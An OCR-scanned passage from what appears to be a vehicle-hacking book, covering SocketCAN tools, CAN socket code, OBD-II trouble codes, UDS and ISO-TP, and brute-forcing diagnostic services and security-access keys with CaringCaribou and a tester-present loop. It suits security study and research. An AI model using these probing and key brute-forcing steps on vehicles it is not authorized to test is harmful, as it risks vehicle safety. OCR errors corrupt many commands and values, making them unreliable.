
As long as you see a vcano in the output, you're ready to go.

The CAN Utilities Suite

With our CAN device up and running, let’s take a high-level look at the can-
utils. They’re listed and described briefly here; we’ll use them throughout
the book, and we’ll explore them in greater detail as we use them.

asc2log This tool parses ASCII CAN dumps in the following form into a
standard SocketCAN logfile format:

0.002367 1 390x Rx 4 8 17 00 14 00 CO 00 08 00

bemserver Jan-Niklas Meier’s proof-of-concept (PoC) broadcast manager
server takes commands like the following:

vcanl A 1 0 123 8 11 22 33 44 55 66 77 88




By default, it listens on port 28600. It can be used to handle some busy
work when dealing with repetitive CAN messages.

canbusload This tool determines which ID is most responsible for putting
the most traffic on the bus and takes the following arguments:

interface@bitrate

You can specify as many interfaces as you like and have canbusloaa
display a bar graph of the worst bandwidth offenders.

can-cale-bit-timing This command calculates the bit rate and the
appropriate register values for each CAN chipset supported by the kernel.

candump | 'his utility dumps CAN packets. It can also take filters and log
packets.

canfdtest [ 'his tool performs send and receive tests over two CAN buses.

cangen |'his command generates CAN packets and can transmit them at
set intervals. It can also generate random packets.

cangw ['his tool manages gateways between different CAN buses and can
also filter and modify packets before forwarding them on to the next bus.

canlogserver | his utility listens on port 28700 (by default) for CAN
packets and logs them in standard format to stdout.

canplayer |'his command replays packets saved in the standard
SocketCAN “compact” format.

cansend | his tool sends a single CAN frame to the network.

cansniffer |his interactive sniffer groups packets by ID and highlights
changed bytes.

isotpdump [ 'his tool dumps ISO-TP CAN packets, which are explained in
“Sending Data with ISO-TP and CAN” on page 55.

isotprecv | his utility receives ISO-TP CAN packets and outputs to

stdout.

isotpsend This command sends ISO-TP CAN packets that are piped in

from stdin.

isotpserver [his tool implements TCP/IP bridging to ISO-TP and



accepts data packets in the format 1122334455667788.

isotpsniffer | his interactive sniffer is like cansniffer but designed for

ISO-TP packets.
isotptun [his utility creates a network tunnel over the CAN network.

log2asc | his tool converts from standard compact format to the
following ASCII format:

0.002367 1 390x Rx 4 8 17 00 14 00 CO 00 08 00

log2long This command converts from standard compact format to a user
readable format.

slcan attach 1 his is 2 command line tool for serial-line CAN devices.
slcand | his daemon handles serial-line CAN devices.

slcanpty [his tool creates a Linux psuedoterminal interface (PTY) to
communicate with a serial-based CAN interface.

Installing Additional Kernel Modules

Some of the more advanced and experimental commands, such as the ISO-
TP-based ones, require you to install additional kernel modules, such as can-
isotp, before they can be used. As of this writing, these additional modules
haven’t been included with the standard Linux kernels, and you’ll likely have
to compile them separately. You can grab the additional CAN kernel
modules like this:

S git clone https://gitorious.org/linux-can/can-modules.git
$ c¢d can-modules/net/can
S sudo ./make_isotp.sh

Once naxe finishes, it should create a can-isotp.ko file.

If you run make in the root folder of the repository, it’ll try to compile
some out-of-sync modules, so it’s best to compile only the module that you
need in the current directory. To load the newly compiled can-isotp.ko
HJOdIde,run,insmod:

# sudo insmod ./can-isotp.ko




amesg should show that it loaded properly:

S dmesg
[830053.381705] can: isotp protocol (rev 20141116 alpha)

Once the ISO-TP driver has proven to be stable, it should be moved into the
stable kernel branch in Linux. Depending on when you're reading this, it may

already have been moved, so be sure to check whether it’s already installed
before compiling your own.

The can-isotp.ko Module

The can-isotp.ko module is a CAN protocol implementation inside the
Linux network layer that requires the system to load the can.xo core module.
The can.xo module provides the network layer infrastructure for all in-
kernel CAN pI‘OtOCOl implementations, like can_raw.ko, can_bcm.ko, and can-

gw.ko. If it’s working correctly, you should see this output in response to the
following command:

sudo insmod ./can-isotp.ko

#
[830053.374734] can: controller area network core (rev 20120528 abi 9)
[830053.374746] NET: Registered protocol family 29

[

830053.376897] can: netlink gateway (rev 20130117) max_hops=1

When can.ko is not loaded, you get the following:

# sudo insmod ./can-isotp.ko

insmod: ERROR: could not insert module ./can-isotp.ko: Unknown symbol
in

module

If you’ve forgotten to attach your CAN device or load the CAN kernel
module, this is the strange error message you’ll see. If you were to enter

amesg for more information, you’d see a series of missing symbols referenced
in the error messages.

S dmesg

[830760.460054] can_isotp: Unknown symbol can_rx_unregister (err 0)
[830760.460134] can_isotp: Unknown symbol can_proto_register (err 0)




830760.460186
830760.460220
830760.460311
830760.460345

can_isotp: Unknown symbol can_send (err 0)

can_isotp: Unknown symbol can_ioctl (err 0)

can_isotp: Unknown symbol can_proto_unregister (err 0)
can_isotp: Unknown symbol can_rx register (err 0)

[ ]
[ ]
[ ]
[ ]

The amesg output shows a lot of unknown symbol messages, especially
around can_x methods. (Ignore the (err 0) messages.) These messages tell us
that the _isotop module can’t find methods related to standard CAN
functions. These messages indicate that you need to load the can.xo module.

Once loaded, everything should work fine.

Coding SocketCAN Applications

While can-utils is very robust, you’ll find that you want to write custom
tools to perform specific actions. (If you’re not a developer, you may want to
skip this section.)

Connecting to the CAN Socket

In order to write your own utilities, you first need to connect to the CAN
socket. Connecting to a CAN socket on Linux is the same as connecting to
any networking socket that you might know from TCP/IP network
programming. The following shows C code that’s specific to CAN as well as
the minimum required code to connect to a CAN socket. This code snippet
will bind to cano as a raw CAN socket.

int s;
struct sockaddr can addr;
struct ifreq ifr;

s = socket (PF_CAN, SOCK_RAW, CAN_RAW) ;

strcpy(ifr.ifr_name, "canO");
ioctl (s, SIOCGIFINDEX, &ifr);

addr.can_family = AF_CAN;
addr.can_ifindex = ifr.ifr ifindex;

bind (s, (struct sockaddr *)&addr, sizeof (addr)) ;

Let’s dissect the sections that are specific to CAN:

s = socket (PF_CAN, SOCK_RAW, CAN_RAW) ;



This line specifies the protocol family, pr_can, and defines the socket as
can_raw. You can also use can_scu if you plan on making a broadcast manager
(BCM) service. A BCM service is a more complex structure that can monitor
for byte changes and the queue of cyclic CAN packet transmissions.

These two lines name the interface:

strcpy(ifr.ifr_name, "canO");
ioctl (s, SIOCGIFINDEX, &ifr);

These lines set up the CAN family for sockaddr and then bind to the
socket, allowing you to read packets off the network:

addr.can_family = AF_CAN;
addr.can_ifindex = ifr.ifr_ifindex;

Setting Up the CAN Frame
Next we want to setup the CAN frame and read the bytes off the CAN

network into our newly defined structure:

struct can_frame frame;
nbytes = read(s, &frame, sizeof (struct can_frame));

The can_frame 1s defined in linux/can.b as:

struct can_frame {

canid_t can_id; /* 32 bit CAN_ID + EFF/RTR/ERR flags */
__u8 can_dlc; /* frame payload length in byte (0 .. 8) */
_ u8 data[8] _ _attribute_ ((aligned(8)));

Y

Writing to the CAN network is just like the reaa command but in
reverse. Simple, eh?

The Procfs Interface

The SocketCAN network-layer modules implement a procfs interface as well.
Having access to information in proc can make bash scripting easier and also

provide a quick way to see what the kernel is doing. You’ll find the provided
network-layer information in /proc/net/can/ and /proc/net/can-bem/. You can



see a list of hooks into the CAN receiver by searching the 7cvlist_all file with

cat:

S cat /proc/net/can/rcvlist_all
receive list 'rx_all':

(vcan3: no entry)

(vcan2: no entry)

(vcanl: no entry)

device can_id can_mask function userdata matches ident
vcan0 000 00000000 £88e6370 f6c6f400 0 raw

(any: no entry)

Some other useful procfs files include the following:

stats CAN network-layer stats

reset_stats Resets the stats (for example, for measurements)

version SocketCAN version

You can limit the maximum length of transmitted packets in proc:

S echo 1000 > /sys/class/net/can0/tx_queue_len

Set this value to whatever you feel will be the maximum packet length for
your application. You typically won’t need to change this value, but if you
find that you’re having throttling issues, you may want to fiddle with it.

The Socketcand Daemon

Socketcand (betps://github.com/dschanoeb/socketcand) provides a network
interface into a CAN network. Although it doesn’t include can-uti1s, it can
still be very useful, especially when developing an application in a

programming language like Go that can’t set the CAN low-level socket
options described in this chapter.

Socketcand includes a full protocol to control its interaction with the

CAN bus. For example, you can send the following line to socketcand to
open a loopback interface:

< can0 C listen_only loopback three_samples >

The protocol for socketcand is essentially the same as that of Jan-Niklas
Meier’s BCM server mentioned earlier; it’s actually a fork of the BCM
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server. (Socketcand, however, is a bit more robust than the BCM server.)

Kayak
Kayak (bttp://kayak.2codeornot2code.org/), a Java-based GUI for CAN

diagnostics and monitoring (see Figure 3-2), is one of the best tools for use
with socketcand. Kayak links with OpenStreetMaps for mapping and can
handle CAN definitions. As a Java-based application, it’s platform
independent, so it leans on socketcand to handle communication to the
CAN transcervers.

You can download a binary package for Kayak or compile from source. In
order to compile Kayak, install the latest version of Apache Maven, and
clone the Kayak git repository (git://github.com/dschanoeh/Kayak). Once the
clone is complete, run the following:

S mvn clean package

You should find your binary in the Kayak/application/target/kayak/bin
folder.

Welcome to Kayak!

Figure 3-2: The Kayak GUI
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Before you launch Kayak, start socketcand:

S socketcand -i can0

You can attach as many CAN devices as you want to socketcand, separated by
COTInas.

Next, start Kayak and take the following steps:

1. Create a new project with CTRL-N and give it a name.

2. Right-click the project and choose Newbus; then, give your bus a name
(see Figure 3-3).

Please give an alias For the Bus or leave blank For no alias
@ |oBDPort] |

€ Cancel o/ OK

Figure 3-3: Creating a name for the CAN bus

3. Click the Connections tab at the right; your socketcand should show
up under Auto Discovery (see Figure 3-4).

Logfiles | Conn... x| Descri... | Messa... =]
EN B
v [Z] Auto discovery

%4 slcan0@nsa (socketcand)

» M| Favourites
> Recent

Figure 3-4: Finding Auto Discovery under the Connections tab

4. Drag the socketcand connection to the bus connection. (The bus
connection should say Connection: None before it’s set up.) To see the




bus, you may have to expand it by clicking the drop-down arrow next to
the bus name, as shown in Figure 3-5.

Projects =
7 B ®
v [® myProject
i (o] 0)
“4 Connection: slcan0@nsa (socketcand)
] Description: None

Figure 3-5: Setting up the bus connection

5. Right-click the bus and choose Open RAW view.

6. Press the play button (circled in Figure 3-6); you should start to see
packets from the CAN bus.

3= Z01 10

ax0| B20 00 00 00 00 00 00 00
S10 B34 50 01 3C FO C4 12 26
5200 BO0 00 04 00 00 00 00 0O
E Ba7 31 5A 54 35 33 38 32

Figure 3-6: Open RAW view and press the play button to see packets
from the CAN bus.

7. Choose Colorize from the toolbar to make it easier to see and read the
changing packets.

Kayak can easily record and play back packet capture sessions, and it
supports CAN definitions (stored in an open KDC format). As of this
writing, the GUI doesn’t support creating definitions, but I’ll show how to
create definitions later.



Kayak is a great open source tool that can work on any platform. In
addition, it has a friendly GUI with advanced features that allow you to
define the CAN packets you see and view them graphically.

Summary

In this chapter, you learned how to use SocketCAN as a unified interface for
CAN devices and how to set up your device and apply the appropriate bit
rate for your CAN bus. I reviewed all of the default CAN utilities in the can-
utils package that come with SocketCAN support, and I showed you how to
write low-level C code to directly interface with the CAN sockets. Finally,
you learned how to use socketcand to allow remote interaction with your
CAN devices and set up Kayak to work with socketcand. Now that you’ve set
up communication with your vehicle, you’re just about ready to try out some
attacks.



4
DIAGNOSTICS AND LOGGING

The OBD-II connector is primarily used by mechanics to quickly analyze
and troubleshoot problems with a vehicle. (See “The OBD-II Connector”
on page 17 for help locating the OBD connector.) When a vehicle
experiences a fault, it saves information related to that fault and triggers the
engine warning light, also known as the malfunction indicator lamp (MIL).
These routine diagnostic checks are handled by the vehicle’s primary ECU,
the powertrain control module (PCM), which can be made up of several
ECUs (but to keep the discussion simple, we’ll refer to it only as the PCM).

If you trigger faults while experimenting with the bus on a vehicle, you’ll
need to able to read and write to the PCM in order to clear them. In this
chapter, we’ll learn how to fetch and clear diagnostic codes as well as query
the diagnostic services of the ECU. We'll also learn how to access a vehicle’s
crash data recordings and how to brute-force hidden diagnostic codes.

Diagnostic Trouble Codes
The PCM stores fault codes as diagnostic trouble codes (D'T'Cs). DTCs are

stored in different places. For instance, memory-based D'TCs are stored in

the PCM’s RAM, which means they’re erased when power from the battery
is lost (as is true for all D'T'Cs stored in RAM). More serious D'TCs are



stored in areas that will survive a power failure.

Faults are usually classified as either hard or soft. Soft faults map to
intermittent issues, whereas hard faults are ones that won’t go away without
some sort of intervention. Often to determine whether a fault is hard or soft,
a mechanic clears the D'TCs and drives the vehicle to see whether the fault
reappears. If it reappears, the fault is a hard fault. A soft fault could be due to
a problem such as a loose gas cap.

Not all faults trigger the MIL light right away. Specifically, class A faults,
which signal a gross emissions failure, light the MIL right away, while class
B faults, which don’t affect the vehicle’s emissions system, are stored the first
time they’re triggered as a pending tault. The PCM waits to record several of
the same faults before triggering the MIL. Class C faults often won’t turn on
the MIL light but instead trigger a “service engine soon” type of message.
Class D faults don’t trigger the MIL light at all.

When storing the D'T'Cs, the PCM snapshots all the relevant engine
components in what is known as freeze frame data, which typically includes
information such as the following:

* D'TC involved

* Engine load

* Engine revolutions per minute (RPM)

* Engine temperature

* Fuel trim

® Manifold air pressure/mass air flow (MAP/MAF) values
* Operating mode (open/close loop)

* Throttle position

* Vehicle speed

Some systems store only one freeze frame, usually for the first DTC
triggered or the highest-priority D'T'C, while others record multiple ones.

In an ideal world, these snapshots would happen as soon the D'T'C occurs,
but the freeze frames are typically recorded about five seconds after a D'TC
is triggered.



DTC Format

A DTC is a five-character alphanumeric code. For example, you’ll see codes
like P0477 (exhaust pressure control valve low) and U0151 (lost
communication with restraint control module). The code in the first byte

position represents the basic function of the component that set the code, as
shown in Table 4-1.

Table 4-1: Diagnostic Code Layouts

Byte position Description

1 P (0x0) = powertrain, B (0x1) = body,
C (0x2) = chassis, U (0x3) = network

0,2,3 (SAE standard) 1,3 (manufacturer specific)

2

3 Subgroup of position 1
4 Specific fault area
5

Specific fault area

When set to 3, byte 2 is both an SAE-defined standard and a manufacturer-
specific code. Originally, 3 was used exclusively for manufacturers, but pressure
is mounting to standardize 3 to mean a standard code instead. In modern cars,
if you see a 3 in the second position, it’s probably an SAE standard code.

The five characters in a D'TC are represented by just two raw bytes on
the network. Table 4-2 shows how to break down the 2 D'TC bytes into a
full DTC code.

Table 4-2: Diagnostic Code Binary Breakdown

Format Byte 1 Byte 2 Result
Hex Ox0 Ox4 Ox/ 0x7 0x0477
Binary 00 00 0100 o1 o111 Bits 0-15

DTC P 0 4 7 7 PO4/7




Except for the first two, the characters have a one-to-one relationship.
Refer to Table 4-1 to see how the first two bits are assigned.

You should be able to look up the meaning of any codes that follow the
SAE standard online. Here are some example ranges for common
powertrain D'T'Cs:

* P0001-P0099: Fuel and air metering, auxiliary emissions controls
* P0100-P0199: Fuel and air metering

* P0200-P0299: Fuel and air metering (injector circuit)

* P0300-P0399: Ignition system or misfire

* P0400-P0499: Auxiliary emissions controls

* P0500-P0599: Vehicle speed controls, and idle control systems

* P0600-P0699: Computer output circuit

* P0700-P0799: Transmission

To learn the meaning of a particular code, pick up a repair book in the
Chilton series at your local auto shop. There, you’ll find a list of all OBD-II
diagnostic codes for your vehicle.

Reading DTCs with Scan Tools

Mechanics check fault codes with scan tools. Scan tools are nice to have but
not necessary for vehicle hacking. You should be able to pick one up at any
vehicle supply store or on the Internet for anywhere between $100 and

$3,000.

For the cheapest possible solution, you can get an ELLM327 device on
eBay for around $10. These are typically dongles that need additional
software, such as a mobile app, in order for them to function fully as scan
tools. The software is usually free or under $5. A basic scan tool should be
able to probe the vehicle’s fault system and report on the common,
nonmanufacturer-specific D'TC codes. Higher-end ones should have
manufacturer-specific databases that allow you to perform much more
detailed testing.



Erasing DTCs

DTCs usually erase themselves once the fault no longer appears during
conditions similar to when the fault was first found. For this purpose, similar
is defined as the following:

* Engine speed within 375 RPM of the flagged condition
* Engine load within 10 percent of the flagged condition
* Engine temp is similar

Under normal conditions, once the PCM no longer sees a fault after
three checks, the MIL light turns off and the D'T'Cs get erased. There are
other ways to clear these codes: you can clear soft D'T'Cs with a scan tool
(discussed in the previous section) or by disconnecting the vehicle’s battery.
Permanent or hard D'T'Cs, however, are stored in NVRAM and are cleared
only when the PCM no longer sees the fault condition. The reason for this is
simple enough: to prevent mechanics from manually turning off the MIL
and clearing the D'T'Cs when the problem still exists. Permanent D'TCs give
mechanics a history of faults so that they’re in a better position to repair
them.

Unified Diagnostic Services

The Unified Diagnostic Services (UDS) is designed to provide a uniform way
to show mechanics what’s going on with a vehicle without their having to
pay huge license fees for the auto manufacturer’s proprietary CAN bus
packet layouts.

Unfortunately, although UDS was designed to make vehicle information
accessible to even the mom-and-pop mechanic, the reality is a bit different:
CAN packets are sent the same way but the contents vary for each make,
model, and even year.

Auto manufacturers sell dealers licenses to the details of the packet
contents. In practice, UDS just works as a gateway to make some but not all
of this vehicle information available. The UDS system does oz affect how a
vehicle operates; it’s basically just a read-only view into what’s going on.
However, it’s possible to use UDS to perform more advanced operations,
such as diagnostic tests or firmware modifications (tests that are only a



feature of higher-end scan tools). Diagnostic tests like these send the system
a request to perform an action, and that request generates signals, such as
other CAN packets, that are used to perform the work. For instance, a
diagnostic tool may make a request to unlock the car doors, which results in
the component sending a separate CAN signal that actually does the work of
unlocking the doors.

Sending Data with ISO-TP and CAN

Because CAN frames are limited to 8 bytes of data, UDS uses the ISO-TP
protocol to send larger outputs over the CAN bus. You can still use regular
CAN to read or send data, but the response won’t be complete because ISO-
TP allows chaining of multiple CAN packets.

To test ISO-TP, connect to a CAN network that has diagnostic-capable
modules such as an ECU. Then send a packet designed for ISO-TP over
normal CAN using SocketCAN’s cansend application:

S cansend can0 74f#020104
Replies similar to 7e8 03 41 04 00

In this listing, 7a£ is the OBD diagnostic code, 02 is the size of the packet,
01 is the mode (show current data; see Appendix B for a list of common
modes and PIDs), and o4 is the service (a vehicle speed of 0 because the
vehicle was stationary). The response adds 0x8 to the ID (7e8); the next byte
is the size of the response. Responses then add 0x40 to the type of request,
which is 0x41 in this case. Then, the service is repeated and followed by the
data for the service. ISO-TP dictates how to respond to a CAN packet.

Normal CAN packets use a “fire-and-forget” structure, meaning they
simply send data and don’t wait for a return packet. ISO-TP specifies a
method to receive response data. Because this response data can’t be sent
back using the same arbitration ID, the receiver returns the response by
adding 0x8 to the ID and noting that the response is a positive one by adding
0x40 to the request. (If the response fails, you should see a 0x7F instead of
the positive + 0x40 response.)

Table 4-3 lists the most common error responses.

Table 4-3: Common UDS Error Responses




Hex (4th Abbreviation Description

byte)

10 GR General reject

11 SNS Service not supported

12 SFNS Subfunction not supported

13 IMLOIF Incorrect message length or invalid format

14 RTL Response too long

21 BRR Busy repeat request

22 CNC Condition not correct

24 RSE Request sequence error

25 NREFSC No response from subnet component

26 FPEORA  Failure prevents execution of requested action

31 ROOR Request out of range

33 SAD Security access denied

35 IK Invalid key

36 ENOA Exceeded number of attempts

37 RTDNE Required time delay not expired

38-4F RBEDLSD Reserved by extended data link security
document

70 UDNA Upload/download not accepted

71 TDS Transfer data suspended

72 GPF General programming failure

73 WBSC Wrong block sequence counter

78 RCRRP Request correctly received but response is
pending

7E SFNSIAS  Subfunction not supported in active session

7F SNSIAS Service not supported in active session

For example, if you use service 0x11 to reset the ECU and the ECU



doesn’t support remote resets, you may see traffic like this:

S cansend can0 74f#021101
Replies similar to 7e8 03 7F 11 11

In this response, we can see that after Ox7e8, the next byte is 0x03, which
represents the size of the response. The next byte, 0x7F, represents an error
for service Ox11, the third byte. The final byte, Ox11, represents the error
returned—in this case, service not supported (SNS).

To send or receive something with more than the 8 bytes of data in a
standard CAN packet, use SocketCAN’s ISO-TP tools. Run istotpsend in
one terminal, and then run isotpsniffer (Or isotprecv) in another terminal
to see the response to your istotpsend commands. (Don’t forget to insmod
your can-isotp.ko module, as described in Chapter 3.)

For example, in one terminal, set up a sniffer like this:

S isotpsniffer -s 7df -d 7e8 can0

Then, in another terminal, send the request packet via the command line:

$ echo "09 02" | isotpsend -s 7DF -d 7E8 can0

When using ISO-TP, you need to specify a source and destination
address (ID). In the case of UDS, the source is 0x7df, and the destination

(response) is 0x7e8. (When using ISO-TP tools, the starting Ox in the
addresses isn’t specified.)

In this example, we’re sending a packet containing PID 0x02 with mode
0x09 in order to request the vehicle’s VIN. The response in the sniffer
should display the vehicle’s VIN, as shown here in the last line of output:

S isotpsniffer -s 74df -d 7e8 can0
canO0 7DF [2] 09 02 - '..'

can0 7E8 [20] 49@ 020 01O 31 47 31 5A 54 35 33 38 32 36 46 31 30 39 31
34 39

- 'I..1G1ZT53826F109149"

The first 3 bytes make up the UDS response. 0x49 @ is service 0x09 +
0x40, which signifies a positive response for PID 0x02 @, the next byte. The
third byte, 0x01 @, indicates the number of data items that are being



returned (one VIN in this case). The VIN returned is
1G1Z2T53826F109149. Enter this VIN into Google, and you should see
detailed information about this vehicle, which was taken from an ECU
pulled from a wrecked car found in a junkyard. Table 4-4 shows the
information you should see.

Table 4-4: VIN Information

Model Year Make  Body Engine
Malibu 2006 ChevroletSedan 4 Door3.5L V6 OHV 12V

If you were watching this UDS query via a normal CAN sniffer, you’d
have seen several response packets on 0x7e8. You could re-assemble an ISO-
TP packet by hand or with a simple script, but the ISO-TP tools make
things much easier.

If you bave difficulty running the ISO-TP tools, make sure you have the
proper kernel module compiled and installed (see “Installing Additional Kernel
Modules” on page 42).

Understanding Modes and PIDs

The first byte of the data section in a diagnostic code is the mode. In
automotive manuals, modes start with a $, as in $1. The $ is used to state
that the number is in hex. The mode $1 is the same as 0x01, $0A is the same
as 0x0A, and so on. I've listed a few examples here, and there are more in
Appendix B for reference.

0x01: Shows current data

Shows data streams of a given PID. Sending a PID of 0x00 returns 4
bytes of bit-encoded available PIDs (0x01 through 0x20).

0x02: Shows freeze frame data

Has the same PID values as 0x01, except that the data returned is from
the freeze frame state.



0x03: Shows stored “confirmed” diagnostic trouble codes
Matches the DTCs mentioned in “DTC Format” on page 52.

0x04: Erases DTCs and clears diagnostic history
Clears the DTC and freeze frame data.

0x07: Shows “pending” diagnostic codes

Displays codes that have shown up once but that haven’t been
confirmed; status pending.

0x08: Controls operations of onboard component/system

Allows a technician to activate and deactivate the system actuators
manually. System actuators allow drive-by-wire operations and
physically control different devices. These codes aren’t standard, so a
common scan tool won’t be able to do much with this mode. Dealership
scan tools have a lot more access to vehicle internals and are an
interesting target for hackers to reverse engineer.

0x09: Requests vehicle information
Several pieces of data can be pulled with mode 0x09.

0x0a: Permanent diagnostic codes

This mode pulls DTCs that have been erased via mode 0x04. These
DTCs are cleared only once the PCM has verified the fault condition is
no longer present (see “Erasing D'T'Cs” on page 54).

Brute-Forcing Diagnostic Modes

Each manufacturer has its own proprietary modes and PIDs, which you can
usually get by digging through “acquired” dealer software or by using tools
or brute force. The easiest way to do brute force is to use an open source

tool called the CaringCaribou (CC), available at
bttps://github.com/CaringCaribou/caringcaribou.

CaringCaribou consists of a collection of Python modules designed to
work with SocketCAN. One such module is a DCM module that deals

specifically with discovering diagnostic services.
To get started with CaringCaribou, create an RC file in your home


https://github.com/CaringCaribou/caringcaribou

directory, ~/.canrc.

[default]
interface = socketcan_ctypes
channel = can0

Set your channel to that of your SocketCAN device. Now, to discover
what diagnostics your vehicle supports, run the following:

S ./cc.py dcm discovery

This will send the tester-present code to every arbitration ID. Once the
tool sees a valid response (0x40+service) or an error (0x7f), it’ll print the
arbitration ID and the reply ID. Here is an example discovery session using
CaringCaribou:

Loaded module 'dcm'

Starting diagnostics service discovery
Sending diagnostics Tester Present to 0x0244
Found diagnostics at arbitration ID 0x0244, reply at 0x0644

We see that there’s a diagnostic service responding to 0x0244. Great!
Next, we probe the different services on 0x0244:

S ./cc.py dcm services 0x0244 0x0644

Loaded module 'dcm'

Starting DCM service discovery
Probing service Oxff (16 found)
Done!

Supported service 0x00: Unknown service

Supported service 0x10: DIAGNOSTIC_SESSION_CONTROL
Supported service Oxla: Unknown service

Supported service 0x00: Unknown service

Supported service 0x23: READ_MEMORY_BY_ADDRESS



Supported service 0x27: SECURITY_ACCESS
Supported service 0x00: Unknown service
Supported service 0x34: REQUEST_ DOWNLOAD
Supported service 0x3b: Unknown service
Supported service 0x00: Unknown service
Supported service 0x00: Unknown service
Supported service 0x00: Unknown service
Supported service 0Oxab: Unknown service
Supported service 0xa9: Unknown service
Supported service Oxaa: Unknown service
Supported service Oxae: Unknown service

Notice that the output lists several duplicate services for service 0x00.
This is often caused by an error response for something that’s not a UDS
service. For instance, the requests below 0x0A are legacy modes that don’t
respond to the official UDS protocol.

As of this writing, CaringCaribou is in its early stages of development, and
your results may vary. The curvent version available doesn’t account for older
modes and parses the response incorrectly, which is why you see several services
with ID 0x00. For now, just ignore those services; they’re false positives.
CaringCaribou’s discovery option stops at the first arbitration ID that responds
to a diagnostic session control (DSC) request. Restart the scan from where it

left off using the -min option, as follows:

S ./cc.py dem discovery -min 0x245

In our example, the scan will also stop scanning a bit later at this more
common diagnostic ID:

Found diagnostics at arbitration ID 0x07df, reply at 0x07e8

Keeping a Vehicle in a Diagnostic State

When doing certain types of diagnostic operations, it’s important to keep
the vehicle in a diagnostic state because it’ll be less likely to be interrupted,
thereby allowing you to perform actions that can take several minutes. In
order to keep the vehicle in this state, you need to continuously send a
packet to let the vehicle know that a diagnostic technician is present.



These simple scripts will keep the car in a diagnostic state that’ll prove
useful for flashing ROMs or brute-forcing. The tester present packet keeps
the car in a diagnostic state. It works as a heartbeat, so you’ll need to
transmit it every one to two seconds, as shown here:

#!/bin/sh

while :

do

cansend canO 7df#013e
sleep 1

done

You can do the same things with cangen:

S cangen -g 1000 -I 7DF -D 013E -L 2 can0

As of this writing, cangen doesn’t always work on serial-line CAN devices.

One possible workaround is to tell sicand to use canX style names instead of
sleanX.

Use the readpatasy1p command to read data by ID and to query devices
for information. 0x01 is the standard query. The enhanced version, 0x22, can
return information not available with standard OBD tools.

Use the securityaccess command (0x27) to access protected information.
This can be a rolling key, meaning that the password or key changes each
time, but the important thing is that the controller responds if successful.
For example, if you send the key Ox1, and it’s the correct access code, then
you should receive an 0x2 in return. Some actions, such as flashing ROMs,
will require you to send a securityaccess request. If you don’t have the
algorithm to generate the necessary challenge response, then you’ll need to
brute-force the key.

Event Data Recorder Logging

You likely know that airplanes have black boxes that record information
about flights as well as conversations in the cockpit and over radio
transmissions. All 2015 and newer vehicles are also required to have a type of



black box, known as an event data recorder (EDR), but EDRs record only a
portion of the information that a black box on an airplane would. The

information stored on the EDR includes the following (you’ll find a more
complete list in SAE J1698-2):

* Airbag deployment

* Brake status

* Delta-v (longitudinal change in velocity)
* Ignition cycles

* Seat belt status

* Steering angles

* Throttle position

* Vehicle speed

While this data is very similar to freeze frame data, its purpose is to
collect and store information during a crash. The EDR constantly stores
information, typically only about 20 seconds worth at any one time. This
information was originally stored in a vehicle’s airbag control module
(ACM), but today’s vehicles distribute this data among the vehicle’s ECUs.
These boxes collect data from other ECUs and sensors and store them for
recovery after a crash. Figure 4-1 shows a typical EDR.



Figure 4-1: A typical event data recorder

Reading Data from the EDR

The official way to read data from an EDR is with a crash data retrieval
(CDR) tool kit. A basic CDR tool will connect to the OBD connector and
pull data (or image the vehicle) from the main ECU. CDR tools can also
access data in other modules, such as the ACM or the rollover sensor (ROS)
module, but they’ll normally need to be plugged in directly to those devices
instead of using the OBD port. (You’ll find a comprehensive list of which
vehicles have black box data that can be retrieved here:
http://www.crashdatagroup.com/research/vebiclecoverage.html.)

CDR kits include both proprietary hardware and software. The hardware
usually costs about $2,000, and the cost of the software will vary depending
on how many vehicle types you want to support. The format of vehicle crash
data is often considered proprietary as well, and many manufacturers license
the communication protocol to tool providers that make CDRs. Obviously,
this is not in the best interest of the consumer. The National Highway
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Traffic Safety Administration (NHTSA) has proposed the adoption of a

standard OBD communication method to access this data.

The SAE J1698 Standard

The SAE J1698 standard lists recommended practices for event data
collection and defines event records by sample rate: high, low, and static.
High samples are data recorded at the crash event, low samples are pre-crash
data, and static samples are data that doesn’t change. Many vehicles are
influenced by the SAE J1698 but don’t necessarily conform to its rules for all
data retrieved from a vehicle.

Some recorded elements are:
¢ Cruise control status

* Driver controls: parking brake, headlight, front wiper, gear selection,
passenger airbag disabled switch

* Foremost seat track position

* Hours in operation

* Indicator status lights: VEDI, SRS, PAD, TPMS, ENG, DOOR, 10D
* Latitude and longitude

* Seating position

* SRS deployment status/time

* T'emperature air/cabin

* Vehicle mileage

* VIN

While the SAE J1698 states latitude and longitude recordings, many
manufacturers claim not to record this information for privacy reasons. Your
research may vary.

Other Data Retrieval Practices

Not all manufacturers conform the to SAE J1698 standard. For example,
since the 1990s, General Motors has collected a small amount of EDR data



in the sensing and diagnostic module (SDM) of its vehicles. The SDM stores
the vehicle’s Delta-v, which is the longitudinal change in the vehicle’s
velocity. The SDM does not record any post-crash information.

Another example is Ford’s EDR, known as the restraint control module
(RCM). Ford stores a vehicle’s longitudinal and lateral acceleration data
rather than Delta-v. If the vehicle has electronic throttle control, the PCM
stores additional EDR data, including whether the passenger was an adult or
not, the percent the accelerator/brake pedal was depressed, and whether a
diagnostic code was active when the crash occurred.

Automated Crash Notification Systems

Automated crash notification (ACN) systems are the phone-home systems that
contact a vehicle’s manufacturer or a third party with event information.
These coincide with other crash recovery systems and extend the
functionality by contacting the manufacturer or third party. One major
difference is that there aren’t rules or standards that determine what data is
collected and sent to an ACN. ACNs are specific to each manufacturer, and
each system will send different information. For example, the Veridian
automated collision notification system (released in 2001) reports this
information:

* Crash type (frontal, side, rear)

* Date and time

® Delta-v

* Longitude and latitude

* Make, model, and year of vehicle
* Principal direction of force

* Probable number of occupants

* Rollover (yes or no)

* Seat belt use

* Vehicle’s final resting position (normal, left side, right side, roof)



Malicious Intent

Attackers may target a vehicle’s D'T'Cs and freeze frame data to hide
malicious activity. For example, if an exploit needs to take advantage of only
a brief, temporary condition in order to succeed, a vehicle’s freeze frame
data will most likely miss the event due to delays in recording. Captured
freeze frame snapshots rarely contain information that would help determine
whether the D'T'C was triggered by malicious intent. (Because black box
EDR systems typically trigger only during a crash, it’s unlikely that an
attacker would target them because they’re not likely to contain useful data.)

An attacker fuzzing a vehicle’s system might check for fired D'T'Cs and
use the information contained in a D'T'C to determine which component was
affected. This type of attack would most likely occur during the research
phase of an attack (when an attacker is trying to determine what components
the randomly generated packets were affecting), not during an active exploit.

Accessing and fuzzing manufacturer-specific PIDs—by flashing firmware
or using mode 0x08—can lead to interesting results. Because each
manufacturer interface is kept secret, it’s difficult to assess the actual risk of
the network. Unfortunately, security professionals will need to reverse or
fuzz these proprietary interfaces to determine what is exposed before work
